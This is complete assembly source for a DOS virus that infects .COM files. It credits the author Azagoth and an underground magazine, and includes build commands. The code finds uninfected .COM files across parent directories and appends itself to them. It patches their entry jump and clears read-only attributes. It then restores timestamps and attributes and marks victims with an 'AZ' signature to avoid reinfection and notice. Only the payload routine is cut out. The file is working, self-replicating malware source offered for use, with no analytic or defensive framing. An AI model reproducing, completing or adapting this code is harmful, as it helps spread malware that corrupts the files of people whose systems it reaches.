; virus from ALT-11 mag

; ---------------------------------------
;
; Coded by: Azagoth
; ---------------------------------------
; Assemble using Turbo Assembler:
;  tasm /m2 <filename>.asm
;  tlink /t <filename>.obj
; ---------------------------------------------------------------------------
;  - Non-Overwriting .COM infector (excluding COMMAND.COM)
;  - COM growth: XXX bytes
;  - It searches the current directory for uninfected files.  If none are
;     found, it searches previous directory until it reaches root and no more
;     uninfected files are found. (One infection per run)
;  - Also infects read-only files
;  - Restores attributes, initial date/time-stamps, and original path.
; ---------------------------------------------------------------------------
 
        .model  tiny
        .code
 
        org     100h                            ; adjust for psp
 
start:
 
        call    get_disp                        ; push ip onto stack
get_disp:
        pop     bp                              ; bp holds current ip
        sub     bp, offset get_disp             ; bp = code displacement
 
        ; original label offset is stored in machine code
        ; so new (ip) - original = displacement of code
 
save_path:
        mov     ah, 47h                         ; save cwd
        xor     dl, dl                          ; 0 = default drive
        lea     si, [bp + org_path]
        int     21h
 
get_dta:
        mov     ah, 2fh
        int     21h
 
        mov     [bp + old_dta_off], bx          ; save old dta offset
 
set_dta:                                        ; point to dta record
        mov     ah, 1ah
        lea     dx, [bp + dta_filler]
        int     21h
 
search:
        mov     ah, 4eh                         ; find first file
        mov     cx, [bp + search_attrib]        ;  if successful dta is
        lea     dx, [bp + search_mask]          ;  created
        int     21h
        jnc     clear_attrib                    ; if found, continue
 
find_next:
        mov     ah, 4fh                         ; find next file
        int     21h
        jnc     clear_attrib
 
still_searching:
        mov     ah, 3bh
        lea     dx, [bp + previous_dir]         ; cd ..
        int     21h
        jnc     search
        jmp     bomb                            ; at root, no more files
 
clear_attrib:
        mov     ax, 4301h
        xor     cx, cx                          ; get rid of attributes
        lea     dx, [bp + dta_file_name]
        int     21h
 
open_file:
        mov     ax, 3D02h                       ; AL=2 read/write
        lea     dx, [bp + dta_file_name]
        int     21h
 
        xchg    bx, ax                          ; save file handle
                                                ; bx won't change from now on
check_if_command_com:
        cld
        lea     di, [bp + com_com]
        lea     si, [bp + dta_file_name]
        mov     cx, 11                          ; length of 'COMMAND.COM'
        repe    cmpsb                           ; repeat while equal
        jne     check_if_infected
        jmp     close_file
 
check_if_infected:
        mov     dx, word ptr [bp + dta_file_size] ; only use first word since
                                                  ;  COM file
        sub     dx, 2                             ; file size - 2
 
        mov     ax, 4200h
        mov     cx, 0                           ; cx:dx ptr to offset from
        int     21h                             ;  origin of move
 
        mov     ah, 3fh                         ; read last 2 characters
        mov     cx, 2
        lea     dx, [bp + last_chars]
        int     21h
 
        mov     ah, [bp + last_chars]
        cmp     ah, [bp + virus_id]
        jne     save_3_bytes
        mov     ah, [bp + last_chars + 1]
        cmp     ah, [bp + virus_id + 1]
        jne     save_3_bytes
        jmp     close_file
 
save_3_bytes:
        mov     ax, 4200h                       ; 00=start of file
        xor     cx, cx
        xor     dx, dx
        int     21h
 
        mov     ah, 3Fh
        mov     cx, 3
        lea     dx, [bp + _3_bytes]
        int     21h
 
goto_eof:
        mov     ax, 4202h                       ; 02=End of file
        xor     cx, cx                          ; offset from origin of move
        xor     dx, dx                          ; (i.e. nowhere)
        int     21h                             ; ax holds file size
 
        ; since it is a COM file, overflow will not occur
 
save_jmp_displacement:
        sub     ax, 3                           ; file size - 3 = jmp disp.
        mov     [bp + jmp_disp], ax
 
write_code:
        mov     ah, 40h
        mov     cx, virus_length                ;*** equate
        lea     dx, [bp + start]
        int     21h
 
goto_bof:
        mov     ax, 4200h
        xor     cx, cx
        xor     dx, dx
        int     21h
 
write_jmp:                                      ; to file
        mov     ah, 40h
        mov     cx, 3
        lea     dx, [bp + jmp_code]
        int     21h
 
        inc     [bp + infections]
 
restore_date_time:
        mov     ax, 5701h
        mov     cx, [bp + dta_file_time]
        mov     dx, [bp + dta_file_date]
        int     21h
 
close_file:
        mov     ah, 3eh
        int     21h
 
restore_attrib:
        xor     ch, ch
        mov     cl, [bp + dta_file_attrib]      ; restore original attributes
        mov     ax, 4301h
        lea     dx, [bp + dta_file_name]
        int     21h
 
done_infecting?:
        mov     ah, [bp + infections]
        cmp     ah, [bp + max_infections]
        jz      bomb
        jmp     find_next
 
 
bomb:
 
;        cmp     bp, 0
;        je      restore_path                    ; original run
;
;---- Stuff deleted
 
restore_path:
        mov     ah, 3bh                         ; when path stored
        lea     dx, [bp + root]                 ; '\' not included
        int     21h
 
        mov     ah, 3bh                         ; cd to original path
        lea     dx, [bp + org_path]
        int     21h
 
restore_dta:
        mov     ah, 1ah
        mov     dx, [bp + old_dta_off]
        int     21h
 
restore_3_bytes:                                ; in memory
        lea     si, [bp + _3_bytes]
        mov     di, 100h
        cld                                     ; auto-inc si, di
        mov     cx, 3
        rep     movsb
 
return_control_or_exit?:
        cmp     bp, 0                           ; bp = 0 if original run
        je      exit
        mov     di, 100h                        ; return control back to prog
        jmp     di                              ; -> cs:100h
 
exit:
        mov     ax, 4c00h
        int     21h
 
;-------- Variable Declarations --------
 
old_dta_off     dw      0                       ; offset of old dta address
 
;-------- dta record
dta_filler      db      21 dup (0)
dta_file_attrib db      0
dta_file_time   dw      0
dta_file_date   dw      0
dta_file_size   dd      0
dta_file_name   db      13 dup (0)
;--------
search_mask     db      '*.COM',0               ; files to infect: *.COM
search_attrib   dw      00100111b               ; all files a,s,h,r
com_com         db      'COMMAND.COM'
 
previous_dir    db      '..',0
root            db      '\',0
org_path        db      64 dup (0)              ; original path
 
infections      db      0                       ; counter
max_infections  db      1
 
_3_bytes        db      0, 0, 0
jmp_code        db      0E9h
jmp_disp        dw      0
 
last_chars      db      0, 0                    ; do last chars = ID ?
 
virus_id        db      'AZ'
 
eov:                                            ; end of virus
 
virus_length    equ     offset eov - offset start
 
        end     start